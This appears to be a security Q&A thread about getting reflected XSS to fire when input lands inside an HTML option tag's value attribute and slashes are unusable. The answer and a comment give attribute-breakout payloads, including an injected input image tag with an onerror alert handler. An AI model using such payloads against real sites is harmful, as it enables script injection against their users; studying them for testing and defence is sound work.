2

I am trying work on an XSS scenario. Would appreciate if anyone can help.

URL: www.example.com/mydata

"mydata" is landing in html as follows:

200 OK
...
Content-Type: text/html; charset=utf-8
...
...
<select>
<option value="mydata"> Anything</option>
</select>
......

Since the "mydata" is in URL I cannot use a payload with forward slashes. Thus, I am not able to use script tag to execute script since I am unable to close it without forward slash. Other payloads like <BODY ONLOAD=alert('XSS')> are not working with options tag.

Does anyone know a way to introduce xss in this scenario?

2
  • Have you looked at XSS syntax that does not use slashes?
    – schroeder
    Jan 29, 2015 at 19:30
  • I am not sure i have but i will check. Could you point me to some references for XSS syntax that does not use slashes? Apr 6, 2015 at 10:34

1 Answer 1

2

You have at least basic XSS:

...
<select><option value="XSS"><input type="image" src="https:\\happyorhungry.files.wordpress.com\2011\10\cookie_monster_original.jpg">Anything</option></select>
...

Where your input is:

XSS"><input type="image" src="https:\\happyorhungry.files.wordpress.com\2011\10\cookie_monster_original.jpg
3
  • 2
    I think I'm missing something; doesn't your input have forward slashes and therefore won't work in the URL? Jan 29, 2015 at 23:27
  • Good point. I converted them into backslashes.
    – Wrycu
    Jan 29, 2015 at 23:54
  • 1
    @Wrycu Thanks alot!!! was looking for a tag that would work with option tag. Finally got it to work with this < input type="image" src="a" onerror=" alert(123)"> Jan 30, 2015 at 5:15

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .